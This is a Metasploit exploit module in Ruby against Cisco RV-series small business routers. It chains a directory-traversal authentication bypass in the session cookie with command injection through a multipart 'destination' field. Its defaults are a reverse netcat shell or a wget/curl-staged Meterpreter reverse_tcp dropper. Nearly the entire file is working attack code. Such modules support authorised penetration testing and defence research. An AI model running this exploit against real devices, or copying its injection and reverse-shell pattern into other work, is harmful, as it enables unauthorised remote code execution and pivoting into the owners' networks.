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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  prepend Msf::Exploit::Remote::AutoCheck
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::CmdStager
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Cisco RV Series Authentication Bypass and Command Injection',
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        'Description' => %q{
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          This module exploits two vulnerabilities, a session ID directory traversal authentication
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          bypass (CVE-2022-20705) and a command injection vulnerability (CVE-2022-20707), on Cisco RV160, RV260, RV340,
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          and RV345 Small Business Routers, allowing attackers to execute arbitrary commands with www-data user privileges.
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          This access can then be used to pivot to other parts of the network. This module works on firmware
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          versions 1.0.03.24 and below.
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        },
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        'License' => MSF_LICENSE,
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        'Platform' => ['linux', 'unix'],
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        'Author' => [
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          'Biem Pham',  # Vulnerability Discoveries
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          'Neterum',    # Metasploit Module
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          'jbaines-r7'  # Inspired from cisco_rv_series_authbypass_and_rce.rb
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        ],
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        'DisclosureDate' => '2021-11-02',
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        'Arch' => [ARCH_CMD, ARCH_ARMLE],
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        'References' => [
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          ['CVE', '2022-20705'], # Authentication Bypass
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          ['CVE', '2022-20707'], # Command Injection
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          ['ZDI', '22-410'], # Authentication Bypass
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          ['ZDI', '22-411']  # Command Injection
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        ],
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        'Targets' => [
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          [
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            'Unix Command',
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            {
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              'Platform' => 'unix',
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              'Arch' => ARCH_CMD,
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              'Type' => :unix_cmd,
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              'Payload' => {
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                'BadChars' => '\'#'
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              },
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              'DefaultOptions' => {
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                'PAYLOAD' => 'cmd/unix/reverse_netcat'
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              }
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            }
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          ],
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          [
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            'Linux Dropper',
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            {
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              'Platform' => 'linux',
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              'Arch' => [ARCH_ARMLE],
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              'Type' => :linux_dropper,
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              'Payload' => {
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                'BadChars' => '\'#'
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              },
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              'CmdStagerFlavor' => [ 'wget', 'curl' ],
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              'DefaultOptions' => {
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                'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
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              }
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            }
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          ]
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        ],
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        'DefaultTarget' => 0,
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        'DefaultOptions' => {
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          'RPORT' => 443,
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          'SSL' => true,
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          'MeterpreterTryToFork' => true
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        },
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('TARGETURI', [true, 'Base path', '/'])
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      ]
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    )
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  end
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  # sessionid utilized later needs to be set to length
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  # of 16 or exploit will fail. Tested with lengths
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  # 14-17
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  def generate_session_id
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    return Rex::Text.rand_text_alphanumeric(16)
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  end
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  def check
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    res = send_request_cgi({
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      'method' => 'GET',
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      'uri' => '/upload',
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      'headers' => {
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        'Cookie' => 'sessionid =../../www/index.html; sessionid=' + generate_session_id
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      }
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    }, 10)
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    # A proper "upload" will trigger file creation. So the send_request_cgi call
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    # above is an incorrect "upload" call to avoid creating a file on disk. The router will return
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    # status code 405 Not Allowed if authentication has been bypassed by the above request.
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    # The firmware containing this authentication bypass also contains the command injection
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    # vulnerability that will be abused during actual exploitation. Non-vulnerable
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    # firmware versions will respond with 403 Forbidden.
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    if res.nil?
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      return CheckCode::Unknown('The device did not respond to request packet.')
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    elsif res.code == 405
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      return CheckCode::Appears('The device is vulnerable to authentication bypass. Likely also vulnerable to command injection.')
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    elsif res.code == 403
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      return CheckCode::Safe('The device is not vulnerable to exploitation.')
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    else # Catch-all
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      return CheckCode::Unknown('The target responded in an unexpected way. Exploitation is unlikely.')
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    end
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  end
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  def execute_command(cmd, _opts = {})
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    res = send_exploit(cmd)
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    # Successful unix_cmd shells should not produce a response.
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    # However if a response is returned, check the status code and return
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    # Failure::NotVulnerable if it is 403 Forbidden.
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    if target['Type'] == :unix_cmd && res&.code == 403
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      fail_with(Failure::NotVulnerable, 'The target responded with 403 Forbidden and is not vulnerable')
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    end
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    if target['Type'] == :linux_dropper
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      fail_with(Failure::Unreachable, 'The target did not respond') unless res
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      fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res&.code == 200
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      begin
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        body_json = res.get_json_document
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        fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json
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      rescue JSON::ParserError => e
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        print_error("Failed: #{e.class} - #{e.message}")
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        fail_with(Failure::UnexpectedReply, 'Failed to parse the response returned from the server! Its possible the response may not be JSON!')
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      end
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    end
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    print_good('Exploit successfully executed.')
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  end
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  def send_exploit(cmd)
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    filename = Rex::Text.rand_text_alphanumeric(5..12)
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    fileparam = Rex::Text.rand_text_alphanumeric(5..12)
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    input = Rex::Text.rand_text_alphanumeric(5..12)
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    # sessionid utilized later needs to be set to length
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    # of 16 or exploit will fail. Tested with lengths
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    # 14-17
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    sessionid = Rex::Text.rand_text_alphanumeric(16)
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    filepath = '/tmp/upload.input' # This file must exist and be writeable by www-data so we just use the temporary upload file to prevent issues.
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    pathparam = 'Configuration'
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    destination = "'; " + cmd + ' #'
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    multipart_form = Rex::MIME::Message.new
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    multipart_form.add_part(filepath, nil, nil, 'form-data; name="file.path"')
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    multipart_form.add_part(filename, nil, nil, 'form-data; name="filename"')
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    multipart_form.add_part(pathparam, nil, nil, 'form-data; name="pathparam"')
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    multipart_form.add_part(fileparam, nil, nil, 'form-data; name="fileparam"')
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    multipart_form.add_part(destination, nil, nil, 'form-data; name="destination"')
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    multipart_form.add_part(input, 'application/octet-stream', nil, format('form-data; name="input"; filename="%<filename>s"', filename: filename))
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    # Escaping "/tmp/upload/" folder that does not contain any other permanent files
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    send_request_cgi({
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      'method' => 'POST',
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      'uri' => '/upload',
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      'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
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      'headers' => {
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        'Cookie' => 'sessionid =../../www/index.html; sessionid=' + sessionid
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      },
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      'data' => multipart_form.to_s
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    }, 10)
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  end
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  def exploit
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    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
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    case target['Type']
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    when :unix_cmd
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      execute_command(payload.encoded)
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    when :linux_dropper
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      execute_cmdstager(linemax: 120)
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    end
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  end
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end
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